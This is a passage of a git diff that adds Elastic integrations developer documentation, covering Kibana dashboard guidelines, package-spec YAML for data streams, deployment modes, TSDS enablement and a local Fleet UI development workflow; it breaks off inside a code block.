+ lang-ident-cap: "Language identification"
+ lang-ident: "language identification"
+ data-viz: "Data Visualizer"
+ file-data-viz: "File Data Visualizer"
+ feat-imp: "feature importance"
+ feat-imp-cap: "Feature importance"
+ nlp: "natural language processing"
+ nlp-cap: "Natural language processing"
+ apm-agent: "APM agent"
+ apm-go-agent: "Elastic APM Go agent"
+ apm-go-agents: "Elastic APM Go agents"
+ apm-ios-agent: "Elastic APM iOS agent"
+ apm-ios-agents: "Elastic APM iOS agents"
+ apm-java-agent: "Elastic APM Java agent"
+ apm-java-agents: "Elastic APM Java agents"
+ apm-dotnet-agent: "Elastic APM .NET agent"
+ apm-dotnet-agents: "Elastic APM .NET agents"
+ apm-node-agent: "Elastic APM Node.js agent"
+ apm-node-agents: "Elastic APM Node.js agents"
+ apm-php-agent: "Elastic APM PHP agent"
+ apm-php-agents: "Elastic APM PHP agents"
+ apm-py-agent: "Elastic APM Python agent"
+ apm-py-agents: "Elastic APM Python agents"
+ apm-ruby-agent: "Elastic APM Ruby agent"
+ apm-ruby-agents: "Elastic APM Ruby agents"
+ apm-rum-agent: "Elastic APM Real User Monitoring (RUM) JavaScript agent"
+ apm-rum-agents: "Elastic APM RUM JavaScript agents"
+ apm-lambda-ext: "Elastic APM AWS Lambda extension"
+ project-monitors: "project monitors"
+ project-monitors-cap: "Project monitors"
+ private-location: "Private Location"
+ private-locations: "Private Locations"
+ pwd: "YOUR_PASSWORD"
+ esh: "ES-Hadoop"
+ default-dist: "default distribution"
+ oss-dist: "OSS-only distribution"
+ observability: "Observability"
+ api-request-title: "Request"
+ api-prereq-title: "Prerequisites"
+ api-description-title: "Description"
+ api-path-parms-title: "Path parameters"
+ api-query-parms-title: "Query parameters"
+ api-request-body-title: "Request body"
+ api-response-codes-title: "Response codes"
+ api-response-body-title: "Response body"
+ api-example-title: "Example"
+ api-examples-title: "Examples"
+ api-definitions-title: "Properties"
+ multi-arg: "†footnoteref:[multi-arg,This parameter accepts multiple arguments.]"
+ multi-arg-ref: "†footnoteref:[multi-arg]"
+ yes-icon: "image:https://doc-icons.s3.us-east-2.amazonaws.com/icon-yes.png[Yes,20,15]"
+ no-icon: "image:https://doc-icons.s3.us-east-2.amazonaws.com/icon-no.png[No,20,15]"
+ es-repo: "https://github.com/elastic/elasticsearch/"
+ es-issue: "https://github.com/elastic/elasticsearch/issues/"
+ es-pull: "https://github.com/elastic/elasticsearch/pull/"
+ es-commit: "https://github.com/elastic/elasticsearch/commit/"
+ kib-repo: "https://github.com/elastic/kibana/"
+ kib-issue: "https://github.com/elastic/kibana/issues/"
+ kibana-issue: "'{kib-repo}issues/'"
+ kib-pull: "https://github.com/elastic/kibana/pull/"
+ kibana-pull: "'{kib-repo}pull/'"
+ kib-commit: "https://github.com/elastic/kibana/commit/"
+ ml-repo: "https://github.com/elastic/ml-cpp/"
+ ml-issue: "https://github.com/elastic/ml-cpp/issues/"
+ ml-pull: "https://github.com/elastic/ml-cpp/pull/"
+ ml-commit: "https://github.com/elastic/ml-cpp/commit/"
+ apm-repo: "https://github.com/elastic/apm-server/"
+ apm-issue: "https://github.com/elastic/apm-server/issues/"
+ apm-pull: "https://github.com/elastic/apm-server/pull/"
+ kibana-blob: "https://github.com/elastic/kibana/blob/current/"
+ apm-get-started-ref: "https://www.elastic.co/guide/en/apm/get-started/current"
+ apm-server-ref: "https://www.elastic.co/guide/en/apm/server/current"
+ apm-server-ref-v: "https://www.elastic.co/guide/en/apm/server/current"
+ apm-server-ref-m: "https://www.elastic.co/guide/en/apm/server/master"
+ apm-server-ref-62: "https://www.elastic.co/guide/en/apm/server/6.2"
+ apm-server-ref-64: "https://www.elastic.co/guide/en/apm/server/6.4"
+ apm-server-ref-70: "https://www.elastic.co/guide/en/apm/server/7.0"
+ apm-overview-ref-v: "https://www.elastic.co/guide/en/apm/get-started/current"
+ apm-overview-ref-70: "https://www.elastic.co/guide/en/apm/get-started/7.0"
+ apm-overview-ref-m: "https://www.elastic.co/guide/en/apm/get-started/master"
+ infra-guide: "https://www.elastic.co/guide/en/infrastructure/guide/current"
+ a-data-source: "a data view"
+ icon-bug: "pass:[ [ ]
+```
+
+Examples:
+
+* Memory Usage Gauge [Metrics System]
+* New groups [Logs System]
+
+Rename all visualizations added to a dashboard only to show the part.
+
+
+#### Dashboards [_dashboards]
+
+```text
+[ ]
+```
+
+Examples:
+
+* [Metrics System] Host overview
+* [Metrics MongoDB] Overview
+
+
+### Screenshots [_screenshots]
+
+Letter casing is important for screenshot descriptions. Descriptions are shown in the {{kib}} UI, so try and keep them clean and consistent.
+
+These descriptions are visualized in the {{kib}} UI. It would be better experience to have them clean and consistent.
+
+* Bad candidate: filebeat running on ec2 machine
+* Good candidates: {{filebeat}} running on AWS EC2 machine
+
+
+## Exporting [_exporting]
+
+```bash
+elastic-package export
+```
+
diff --git a/docs/extend/dashboard-guidelines.md b/docs/extend/dashboard-guidelines.md
new file mode 100644
index 00000000000..6bcd351beeb
--- /dev/null
+++ b/docs/extend/dashboard-guidelines.md
@@ -0,0 +1,159 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/dashboard-guidelines.html
+---
+
+# Dashboard guidelines [dashboard-guidelines]
+
+A [Kibana dashboard](docs-content://explore-analyze/dashboards.md) is a set of one or more panels, also referred to as visualizations. Panels display data in charts, tables, maps, and more. Dashboards support several types of panels to display your data, and several options to create panels.
+
+The goal of each integration dashboard is to:
+
+* Provide a way to explore ingested data out of the box.
+* Provide an overview of the monitored resources through installing the integration.
+
+Each integration package should contain one or more dashboards.
+
+
+## Dashboard Best Practices [_dashboard_best_practices]
+
+Following are recommended best practices for designing Kibana dashboards.
+
+
+### Build dashboards on stable versions [_build_dashboards_on_stable_versions]
+
+Avoid building dashboards on SNAPSHOT versions because as long as the release is not stable behavior changes might render your dashboard unusable. The only supported approach is to use a globally released version from the [official releases list](https://www.elastic.co/downloads/past-releases#kibana).
+
+
+### Not too many visualizations per dashboard [_not_too_many_visualizations_per_dashboard]
+
+Include only necessary visualizations inside a dashboard, and, when possible, split them across separate dashboards. Linking can be done:
+
+* By using a Markdown visualization to improve performance
+* Use [drilldowns](docs-content://explore-analyze/dashboards/drilldowns.md) to connect dashboards where they make sense.
+
+
+### Out of date fields in dashboards [_out_of_date_fields_in_dashboards]
+
+The dashboards must be updated to reflect any changes to field names or types. If a pull request updates a field name or type, make sure it is correctly updated in any dashboard the field is being used in.
+
+
+### Add visualizations by value, not by reference [_add_visualizations_by_value_not_by_reference]
+
+Kibana visualizations can be added into a dashboard by value or by reference. Historically, adding by value did not exist. Switching to value has the advantage that the dashboards are fully self contained and only need a single request to be installed.
+
+To achieve this:
+
+* Migrate existing dashboards from `by reference` to `by value`.
+* Create new dashboards adding visualizations by value.
+
+A migration script is available to help with the migration: [flash1293/legacy_vis_analyzer](https://github.com/elastic/visualizations_integrations_tools)
+
+
+### Choose the context of your Dashboard [_choose_the_context_of_your_dashboard]
+
+You should always try to understand as much as possible what kind of context your users need to interact with the dashboard. Keep the minimal context needed by answering the following questions:
+
+* Who is going to use this dashboard?
+* How much time will the users have?
+* What is the main goal of this dashboard and what are any secondary goals?
+* What kind of charts can help users identify insights in the most immediate and clear way?
+
+
+### Organisation and hierarchy matters in your dashboards [_organisation_and_hierarchy_matters_in_your_dashboards]
+
+Keep the following guidelines in mind when positioning your elements on dashboards:
+
+* Keep related visualizations close to each other.
+
+ :::{image} ../images/grouping-in-visualizations.png
+ :alt: Closely grouped visualizations
+ :::
+
+* Use Markdown to create blocks of related content.
+
+ :::{image} ../images/markdown-grouping.png
+ :alt: Markdown grouping in visualizations
+ :::
+
+* Reading Direction
+
+ Most people are used to reading from top to bottom. Place at the top of your page the most important charts and the ones that could give a brief and immediate summary of the context. A good general guidelines is to increase the level of detail as you approach the bottom of the dashboard. This way, users interested in getting all the information can obtain it without requiring too much effort, and other users can gather what they need from only a quick glance at the topmost dashboards.
+
+* Central focal point
+
+ Placing a big chart at the center of a dashboard, especially one with prominent visual shapes such as rectangles, helps to reinforce a natural visual focal point that lies in the center of the interface.
+
+ :::{image} ../images/rows-in-visualizations.png
+ :alt: Central focal point in visualization
+ :::
+
+
+
+### Use Margins [_use_margins]
+
+Kibana dashboards offer the possibility to apply margins between visualizations, and this is highly recommended. Margins create separation between charts, which is an important visual feature, and they help users to identify when two elements belong together. At the same time, the added space makes the interface appear more clean and elegant.
+
+
+## Visualization Best Practices [_visualization_best_practices]
+
+Following are recommended best practices for designing Kibana vizualizations.
+
+
+### Lens vs TSVB visualizations [_lens_vs_tsvb_visualizations]
+
+**Always use Lens**, when possible. It’s the best choice to be consistent and up to date.
+
+When possible, migrate dashboards from TSVB to Lens. If it’s not possible, please engage with the Kibana team to identify any gaps that prevent full TSVB to Lens dashboard migration.
+
+
+### Visualizations should contain a filter [_visualizations_should_contain_a_filter]
+
+Kibana visualizations can define a filter to avoid performance issues when querying all metrics (`metrics-*`) or logs (`logs-*`) indices.
+
+It is recommended to set a filter in each visualization at least by the required `data_stream.dataset`. For more details, refer to the the [Elastic data stream naming scheme](https://www.elastic.co/blog/an-introduction-to-the-elastic-data-stream-naming-scheme).
+
+As much as possible, avoid using general filters, that is filters with `-*`. Combine multiple fields and values inside a filter with AND/OR operators. Although your filter might become more complex, it will avoid extra queries.
+
+Example:
+
+:::{image} ../images/filter-in-visualization.png
+:alt: Filter in a visualization
+:::
+
+
+### Do not use library visualizations [_do_not_use_library_visualizations]
+
+Do not use the visualizations that appear in **Analytics > Visualize library**. Instead, define visualizations as part of the dashboard. This is the default when creating new panels by clicking **Add new visualization** on the dashboard. If some panels are already saved to the library, you can unlink them and delete them from the library
+
+There are some cases where library visualizations are preferable. It makes sense, for example, if a given visualization always has to be exactly the same on multiple dashboards or if its users frequently look at the visualization without looking at the whole dashboard.
+
+
+## Use dashboard-native controls [_use_dashboard_native_controls]
+
+The **Input controls** visualization type is deprecated in favor of **Controls** embedded into the dashboard itself. The **Controls** dropdown in the Dashboard menu bar should be used. Refer to [Filter dashboard data with controls](docs-content://explore-analyze/dashboards/add-controls.md) for more information.
+
+
+### Keep Consistent Color [_keep_consistent_color]
+
+Use color to distinguish categories, represent quantity/density, and highlight data. When using color in this way, be aware that too many colors in a single chart can create noise and hinder quick comprehension.
+
+[Elastic UI](https://elastic.github.io/eui/#/elastic-charts/creating-charts) provides guidance for correct color choice. Colors provided there for visualization have been tested for accessibility contrast. By using them, you are sure properly serve the largest possible audience.
+
+If your dashboard is made to identify specific behaviors, it might be interesting to consider a color setting that could help to point those out. Use a neutral color for generic elements and an accented color for the things that you want to highlight.
+
+:::{image} ../images/colors-in-visualizations.png
+:alt: Colors in visualizations
+:::
+
+
+## Titles in Visualisations matter [_titles_in_visualisations_matter]
+
+Titles can have a strong visual impact on dashboards, especially when there are a lot of small charts. Two principles can generally be followed:
+
+* Remove unnecessary or repetitive titles when the information is already explained or written within the chart.
+* When a title is needed, make it self explanatory and exhaustive. This way, you will be able to remove axis titles and other specifications leaving more space for the chart itself.
+
+:::{image} ../images/titles-in-visualizations.png
+:alt: Titles in visualizations
+:::
diff --git a/docs/extend/data-stream-spec.md b/docs/extend/data-stream-spec.md
new file mode 100644
index 00000000000..11ff3ec2e27
--- /dev/null
+++ b/docs/extend/data-stream-spec.md
@@ -0,0 +1,128 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/data-stream-spec.html
+---
+
+# data_stream [data-stream-spec]
+
+Data stream assets, including ingest pipelines, field definitions, metadata, and sample events.
+
+**required**
+
+Included from the package-spec repository. This will update when the spec is updated.
+
+```yaml
+spec:
+ additionalContents: false
+ totalContentsLimit: 500
+ contents:
+ - description: Folder containing a single data stream definition
+ type: folder
+ pattern: '^([a-z0-9]{2}|[a-z0-9][a-z0-9_]+[a-z0-9])$'
+ forbiddenPatterns:
+ # Avoid collision with ingest pipeline created by fleet, see https://github.com/elastic/package-spec/issues/699
+ - '^integration$'
+ required: true
+ additionalContents: false
+ contents:
+ - description: A data stream's manifest file
+ type: file
+ contentMediaType: "application/x-yaml"
+ sizeLimit: 5MB
+ name: "manifest.yml"
+ required: true
+ $ref: "./manifest.spec.yml"
+ - description: Folder containing field definitions
+ type: folder
+ name: fields
+ required: true
+ $ref: "./fields/spec.yml"
+ - description: Folder containing agent-related definitions
+ type: folder
+ name: agent
+ required: false
+ additionalContents: false
+ $ref: "./agent/spec.yml"
+ - description: Folder containing Elasticsearch assets
+ type: folder
+ name: elasticsearch
+ additionalContents: false
+ contents:
+ - description: Folder containing Elasticsearch ILM Policy Definition
+ type: folder
+ name: ilm
+ additionalContents: false
+ contents:
+ - description: Supporting ILM policy definitions in YAML
+ type: file
+ pattern: '^.+\.yml$'
+ # TODO Determine if special handling of `---` is required (issue: https://github.com/elastic/package-spec/pull/54)
+ contentMediaType: "application/x-yaml; require-document-dashes=true"
+ required: false
+ - description: Supporting ILM policy definitions in JSON
+ type: file
+ pattern: '^.+\.json$'
+ contentMediaType: "application/json"
+ required: false
+ - description: Folder containing Elasticsearch Ingest Node pipeline definitions
+ type: folder
+ name: ingest_pipeline
+ additionalContents: false
+ contents:
+ - description: Supporting ingest pipeline definitions in YAML
+ type: file
+ pattern: '^.+\.yml$'
+ # TODO Determine if special handling of `---` is required (issue: https://github.com/elastic/package-spec/pull/54)
+ contentMediaType: "application/x-yaml; require-document-dashes=true"
+ required: false
+ $ref: "../../integration/elasticsearch/pipeline.spec.yml"
+ - description: Supporting ingest pipeline definitions in JSON
+ type: file
+ pattern: '^.+\.json$'
+ contentMediaType: "application/json"
+ required: false
+ $ref: "../../integration/elasticsearch/pipeline.spec.yml"
+ - description: Sample event file
+ type: file
+ name: "sample_event.json"
+ contentMediaType: "application/json"
+ required: false
+ - description: Folder containing testing related files and sub-folders
+ type: folder
+ name: "test"
+ required: false
+ - description: Folder containing development resources
+ type: folder
+ name: _dev
+ required: false
+ visibility: private
+ $ref: "./_dev/spec.yml"
+ - description: File containing routing rules definitions (technical preview)
+ type: file
+ contentMediaType: "application/x-yaml"
+ name: "routing_rules.yml"
+ required: false
+ $ref: "./routing_rules.spec.yml"
+ - description: File containing lifecycle configuration (technical preview)
+ type: file
+ contentMediaType: "application/x-yaml"
+ name: "lifecycle.yml"
+ required: false
+ $ref: "lifecycle.spec.yml"
+
+versions:
+ - before: 3.0.0
+ patch:
+ - op: remove
+ path: "/contents/0/contents/3/contents/1/contents/0/$ref" # remove ingest pipeline validation as yaml
+ - op: remove
+ path: "/contents/0/contents/3/contents/1/contents/1/$ref" # remove ingest pipeline validation as json
+ - before: 2.10.0
+ patch:
+ - op: remove
+ path: "/contents/0/contents/8" # remove lifecycle definition
+ - before: 2.9.0
+ patch:
+ - op: remove
+ path: "/contents/0/contents/7" # remove routing_rules file definition
+```
diff --git a/docs/extend/define-deployment-modes.md b/docs/extend/define-deployment-modes.md
new file mode 100644
index 00000000000..8d3e2e4fa05
--- /dev/null
+++ b/docs/extend/define-deployment-modes.md
@@ -0,0 +1,89 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/define-deployment-modes.html
+---
+
+# Define deployment modes [define-deployment-modes]
+
+Some integrations can be deployed on fully managed agents. These integrations are known as "agentless" integrations. Define the deployment mode of an integration with the [`deployment_modes`](#deployment_modes) property and display/hide variables in different deployment modes with the [`hide_in_deployment_modes`](#hide_in_deployment_modes) property.
+
+
+## `deployment_modes` [deployment_modes]
+
+Policy templates can indicate which deployment modes they support. Use the `deployment_modes` property in the policy template schema to define the supported deployment modes. Options are `default` and `agentless`. A policy template can support both modes.
+
+Example policy template declaration:
+
+```yaml
+format_version: 3.2.0
+name: aws
+title: AWS
+version: 2.13.1
+...
+policy_templates:
+ - name: billing
+ title: AWS Billing
+ description: Collect billing metrics with Elastic Agent
+ deployment_modes: <1>
+ default:
+ enabled: false <2>
+ agentless:
+ enabled: true <3>
+ data_streams:
+ - billing
+ ...
+```
+
+1. Defines the supported deployment modes
+2. Disables agent deployment support
+3. Enables agentless deployment support
+
+
+
+## `hide_in_deployment_modes` [hide_in_deployment_modes]
+
+Variables can be hidden in certain deployment modes. Use the `hide_in_deployment_modes` property to opt variables in or out of being displayed in default or agentless mode. This property works at any manifest level.
+
+Example variable declaration:
+
+```yaml
+streams:
+ - input: filestream
+ vars:
+ - name: paths
+ type: text
+ title: Paths
+ multi: true
+ required: true
+ show_user: true
+ default:
+ - /var/log/my-package/*.log
+ - name: agentless_only
+ type: text
+ title: Agentless only variable
+ multi: false
+ required: false
+ show_user: true
+ hide_in_deployment_modes: <1>
+ - default
+ - name: hidden_in_agentless
+ type: text
+ title: Hidden in agentless variable
+ multi: false
+ required: false
+ show_user: true
+ hide_in_deployment_modes: <2>
+ - agentless
+```
+
+1. Disables visibility of the variable in agent deployment mode
+2. Disables visibility of the variable in agentless deployment mode
+
+
+For more information on variable property definitions, refer to [Define variable properties](/extend/finishing-touches.md#define-variable-properties).
+
+
+## Agentless capabilities [agentless-capabilities]
+
+The capabilities feature protects agentless deployments from allowing undesired inputs to run. A static `capabilities.yml` file defines these allowed and disallowed inputs and is passed to deployed agents. To determine which capabilities are currently allowed on Agentless, refer to [`capabilities.yml`](https://github.com/elastic/agentless-controller/blob/main/controllers/config/capabilities.yml).
+
diff --git a/docs/extend/dev-spec.md b/docs/extend/dev-spec.md
new file mode 100644
index 00000000000..033912d203e
--- /dev/null
+++ b/docs/extend/dev-spec.md
@@ -0,0 +1,39 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/dev-spec.html
+---
+
+# _dev [dev-spec]
+
+Development resources.
+
+**required**
+
+Included from the package-spec repository. This will update when the spec is updated.
+
+```yaml
+spec:
+ additionalContents: false
+ developmentFolder: true
+ contents:
+ - description: Folder containing resources related to package benchmarks.
+ type: folder
+ name: benchmark
+ required: false
+ $ref: "./benchmark/spec.yml"
+ - description: Folder containing resources related to building the package.
+ type: folder
+ name: build
+ required: false
+ $ref: "./build/spec.yml"
+ - description: Folder containing configuration related to deploying the package's service(s) required for testing scenarios.
+ type: folder
+ name: deploy
+ required: false
+ $ref: "./deploy/spec.yml"
+ - description: Folder containing configuration related test configuration.
+ type: folder
+ name: test
+ required: false
+ $ref: "./test/spec.yml"
+```
diff --git a/docs/extend/developer-tsds-guidelines.md b/docs/extend/developer-tsds-guidelines.md
new file mode 100644
index 00000000000..06b9efa916e
--- /dev/null
+++ b/docs/extend/developer-tsds-guidelines.md
@@ -0,0 +1,214 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/developer-tsds-guidelines.html
+---
+
+# TSDS guidelines [developer-tsds-guidelines]
+
+This page describes how to enable TSDS functionality in your integration packages. Full details about TSDS can be found in [Time series data stream](docs-content://manage-data/data-store/data-streams/time-series-data-stream-tsds.md) in the {{es}} documentation.
+
+In this document you can find:
+
+* [Background](#integrations-dev-tsds-background)
+* [Steps for enabling TSDS for a metrics dataset](#integrations-dev-tsds-migrating)
+* [Testing](#integrations-dev-tsds-testing)
+* [Best practices](#integrations-dev-tsds-best-practices)
+* [Troubleshooting](#integrations-dev-tsds-troubleshooting)
+
+
+## Background [integrations-dev-tsds-background]
+
+A time series is a sequence of observations for a specific entity. TSDS enables the column-oriented functionality in elasticsearch by co-locating the data and optimizing the storage and aggregations to take advantage of such co-allocation.
+
+Integrations are one of the biggest sources of input data to Elasticsearch. Enabling TSDS on integration packages can be achieved by minimal changes made in the `fields.yml` and `manifest.yml` files of a package.
+
+
+## Steps for enabling TSDS for a metrics dataset [integrations-dev-tsds-migrating]
+
+::::{important}
+Datastreams having type `logs` are excluded from TSDS migration.
+::::
+
+
+
+## Step 1: Set the dimension fields [_step_1_set_the_dimension_fields]
+
+Each field belonging to the set of fields that uniquely identify a document is a dimension. For more details, refer to [Dimensions](docs-content://manage-data/data-store/data-streams/time-series-data-stream-tsds.md#time-series-dimension).
+
+To set a field as a dimension simply add `dimension: true` to its mapping:
+
+```yaml
+- name: ApiId
+ type: keyword
+ dimension: true
+```
+
+::::{note}
+A field having type [flattened](elasticsearch://reference/elasticsearch/mapping-reference/flattened.md) cannot be selected as a dimension field. If the field that you are choosing as a dimension is too long or is of type flattened, consider hashing the value of this field and using the result as a dimension. [Fingerprint processor](elasticsearch://reference/ingestion-tools/enrich-processor/fingerprint-processor.md) can be used for this purpose.
+
+You can find an example in [Oracle Integration TSDS Enablement Example](https://github.com/elastic/integrations/blob/8a57d6ba96d391afc33da20c80ec51280d22f009/packages/oracle/data_stream/performance/elasticsearch/ingest_pipeline/default.yml#LL127C4-L131C29)
+
+::::
+
+
+Important considerations:
+
+* There is a limit on how many dimension fields a datastream can have. By default, this value is `21`. You can adjust this restriction by altering the `index.mapping.dimension_fields.limit`:
+
+ ```yaml
+ elasticsearch:
+ index_template:
+ settings:
+ index.mapping.dimension_fields.limit: 32 # Defaults to 21
+ ```
+
+* Dimension keys have a hard limit of 512b. Documents are rejected if this limit is reached.
+* Dimension values have a hard limit of 1024b. Documents are rejected if this limit is reached.
+
+
+### ECS fields [_ecs_fields]
+
+There are fields that are part of every package, and they are potential candidates for becoming dimension fields:
+
+* `host.name`
+* `service.address`
+* `agent.id`
+* `container.id`
+
+For products that are capable of running both on-premise and in a public cloud environment (by being deployed on public cloud virtual machines), it is recommended to annotate the ECS fields listed below as dimension fields:
+
+* `host.name`
+* `service.address`
+* `container.id`
+* `cloud.account.id`
+* `cloud.provider`
+* `cloud.region`
+* `cloud.availability_zone`
+* `agent.id`
+* `cloud.instance.id`
+
+For products operating as managed services within cloud providers like AWS, Azure, and GCP, it is advised to label the fields listed below as dimension fields:
+
+* `cloud.account.id`
+* `cloud.region`
+* `cloud.availability_zone`
+* `cloud.provider`
+* `agent.id`
+
+Note that for some packages some of these fields do not hold any value, so make sure to only use the needed ones.
+
+
+### Integration specific fields [_integration_specific_fields]
+
+The `files.yml` file has the field mappings specific to a datastream of an integration. Some of these fields might need to be set as a dimension if the set of dimension fields in ECS is not enough to create a unique [`_tsid`](docs-content://manage-data/data-store/data-streams/time-series-data-stream-tsds.md#tsid).
+
+Adding an inline comment prior to the dimension annotation is advised, detailing the rationale behind the choice of a particular field as a dimension field:
+
+```yaml
+- name: wait_class
+ type: keyword
+ # Multiple events are generated based on the values of wait_class. Hence, it is a dimension
+ dimension: true
+ description: Every wait event belongs to a class of wait events.
+```
+
+
+## Step 2: Set type for metric fields [_step_2_set_type_for_metric_fields]
+
+Metrics are fields that contain numeric measurements, as well as aggregations and/or down sampling values based off of those measurements. Annotate each metric with the correct metric type. The [currently supported values](docs-content://manage-data/data-store/data-streams/time-series-data-stream-tsds.md#time-series-metric) are `gauge`, `counter`, and `null`.
+
+Example of adding a metric type to a field:
+
+```yaml
+- name: compactions_failed
+ type: double
+ metric_type: counter
+ description: |
+ Counter of TSM compactions by level that have failed due to error.
+```
+
+::::{note}
+Some of the aggregation functions are not supported for certain `metric_type` values. In such a scenario, please revisit to see if the selection of `metric_type` you made is indeed correct for that field. If valid, please create an issue in [elastic/elasticsearch](https://github.com/elastic/elasticsearch) explaining the use case.
+::::
+
+
+
+## Step 3: Update Kibana version [_step_3_update_kibana_version]
+
+Modify the `kibana.version` to at least `8.8.0` in the `manifest.yml` file of the package:
+
+```yaml
+conditions:
+ kibana.version: "^8.8.0"
+```
+
+
+## Step 4: Enable `time_series` index mode [_step_4_enable_time_series_index_mode]
+
+Add the changes to the `manifest.yml` file of the datastream as shown to enable the timeseries index mode:
+
+```yaml
+elasticsearch:
+ index_mode: "time_series"
+```
+
+
+## Testing [integrations-dev-tsds-testing]
+
+* If the number of dimensions is insufficient, we will have loss of data. Consider testing this using the [TSDS migration test kit](https://github.com/elastic/TSDB-migration-test-kit).
+* Verify the dashboard is rendering the data properly. If certain visualisation do not work, consider migrating to [Lens](docs-content://explore-analyze/visualize/lens.md). Remember that certain aggregation functions are not supported when a field has metric type `counter`, for example, `avg()`. Replace such aggregation functions with a supported aggregation type such as `max()` or `min()`.
+
+
+## Best practices [integrations-dev-tsds-best-practices]
+
+* Use [Lens](docs-content://explore-analyze/visualize/lens.md) as the preferred visualisation type.
+* Always assess the number of unique values the field that is selected to be a dimension would hold, especially if it is a numeric field. A field that holds millions of unique values may not be an ideal candidate for becoming a dimension field.
+* If the dimension field value length is very long (max limit is 1024B), consider transforming the value to hash value representation. [Fingerprint processor](elasticsearch://reference/ingestion-tools/enrich-processor/fingerprint-processor.md) can be used for this purpose.
+* In the field mapping files above each dimension field, add in-line comments stating the reason for selecting the field as a dimension field.
+* As part of TSDS migration testing, you may discover other errors which may be unrelated to TSDS migration. Keep the pull request for TSDS migration free from such changes. This helps in obtaining quick PR approval.
+
+
+## Troubleshooting [integrations-dev-tsds-troubleshooting]
+
+
+### Dropped documents [_dropped_documents]
+
+In the event that after enabling TSDS you notice that metrics data is being dropped from an index, the [TSDS test migration kit](https://github.com/elastic/TSDB-migration-test-kit) can be used as a helpful debugging tool.
+
+
+### Conflicting field type [_conflicting_field_type]
+
+Fields having conflicting field type will not be considered as dimension. Resolve the field type ambiguity before defining a field as dimension field.
+
+
+### Identification of write index [_identification_of_write_index]
+
+When mappings are modified for a datastream, index rollover happens and a new index is created under the datastream. Even if there exists a new index, the data continues to go to the old index until the timestamp matches `index.time_series.start_time` of the newly created index.
+
+An [enhancement request](https://github.com/elastic/kibana/issues/150549) for Kibana is created to indicate the write index. Until then, refer to the index.time_series.start_time of indices and compare with the current time to identify the write index.
+
+If you find this error (for reference, see [integrations issue #7345](https://github.com/elastic/integrations/issues/7345) and [elasticsearch PR #98518](https://github.com/elastic/elasticsearch/pull/98518)):
+
+```console
+... (status=400): {"type":"illegal_argument_exception","reason":"the document timestamp [2023-08-07T00:00:00.000Z] is outside of ranges of currently writable indices [[2023-08-07T08:55:38.000Z,2023-08-07T12:55:38.000Z]]"}, dropping event!
+```
+
+Consider:
+
+1. Defining the `look_ahead` or `look_back_time` for each data stream. For example:
+
+ ```yaml
+ elasticsearch:
+ index_mode: "time_series"
+ index_template:
+ settings:
+ index.look_ahead_time: "10h"
+ ```
+
+ ::::{note}
+ Updating the package with this does not cause an automatic rollover on the data stream. You have to do that manually.
+ ::::
+
+2. Updating the `timestamp` of the document being rejected.
+3. Finding a fix to receive the document without a delay.
+
diff --git a/docs/extend/developer-workflow-fleet-UI.md b/docs/extend/developer-workflow-fleet-UI.md
new file mode 100644
index 00000000000..c4b9d12f6f7
--- /dev/null
+++ b/docs/extend/developer-workflow-fleet-UI.md
@@ -0,0 +1,105 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/developer-workflow-fleet-UI.html
+---
+
+# Development process for Fleet UI [developer-workflow-fleet-UI]
+
+See the Kibana docs for [how to set up your dev environment](https://github.com/elastic/kibana/blob/main/CONTRIBUTING.md#setting-up-your-development-environment), [run Elasticsearch](https://github.com/elastic/kibana/blob/main/CONTRIBUTING.md#running-elasticsearch), and [start Kibana](https://github.com/elastic/kibana/blob/main/CONTRIBUTING.md#running-kibana).
+
+One common development workflow is:
+
+1. Clone Kibana repo
+
+ ```bash
+ git clone https://github.com/[YOUR_USERNAME]/kibana.git kibana
+ cd kibana
+ ```
+
+2. Install Dependencies
+
+ ```bash
+ nvm use
+ npm install -g yarn
+ ```
+
+3. Bootstrap Kibana
+
+ ```bash
+ yarn kbn bootstrap
+ ```
+
+4. Start Elasticsearch in one shell
+
+ ```bash
+ yarn es snapshot -E xpack.security.authc.api_key.enabled=true
+ ```
+
+5. Start Kibana in another shell
+
+ ```bash
+ yarn start --xpack.fleet.enabled=true --no-base-path
+ ```
+
+6. Download fleet-server package from [https://www.elastic.co/downloads/past-releases/#elastic-agent](https://www.elastic.co/downloads/past-releases/#elastic-agent)
+7. Untar fleet server tarball and `cd` to the directory
+8. Install fleet-server (See also the alternative solution)
+
+ ```bash
+ sudo ./elastic-agent install -f \
+ --fleet-server-es=http://elastic:changeme@localhost:9200 \
+ --fleet-server-policy=
+ ```
+
+ The `default policy id` can be retrieved by fleet ui instructions in Kibana before any fleet server is installed. Fleet Server will start in `+https://users_machine_ip:8220+`
+
+9. Update Fleet settings on the top right corner of Fleet UI to set the correct Fleet Server hosts (ip from previous step).
+10. After that user can enroll as many agents as they want
+11. Any code update in Kibana fleet plugin should be picked up automatically and either cause the server to restart, or be served to the browser on the next page refresh.
+
+
+## Alternative solution for fleet server [_alternative_solution_for_fleet_server]
+
+Instead of download fleet server package and running it as a local process you can run Fleet Server Locally in a Container.
+
+It can be useful to run Fleet Server in a container on your local machine in order to free up your actual "bare metal" machine to run Elastic Agent for testing purposes. Otherwise, you’ll only be able to a single instance of Elastic Agent dedicated to Fleet Server on your local machine, and this can make testing integrations and policies difficult.
+
+*The following is adapted from the Fleet Server [README](https://github.com/elastic/fleet-server#running-elastic-agent-with-fleet-server-in-container)*
+
+1. Add the following configuration to your `config/kibana.yml`
+
+ ```yaml
+ server.host: 0.0.0.0
+ ```
+
+2. Append the following option to the command you use to start Elasticsearch
+
+ ```yaml
+ -E http.host=0.0.0.0
+ ```
+
+ This command should look something like this:
+
+ ```bash
+ yarn es snapshot --license trial -E xpack.security.authc.api_key.enabled=true -E path.data=/tmp/es-data -E http.host=0.0.0.0
+ ```
+
+3. Run the Fleet Server Docker container. Make sure you include a `BASE-PATH` value if your local Kibana instance is using one. `YOUR-IP` should correspond to the IP address used by your Docker network to represent the host. For Windows and Mac machines, this should be `192.168.65.2`. If you’re not sure what this IP should be, run the following to look it up:
+
+ ```bash
+ docker run -it --rm alpine nslookup host.docker.internal
+ ```
+
+ To run the Fleet Server Docker container:
+
+ ```bash
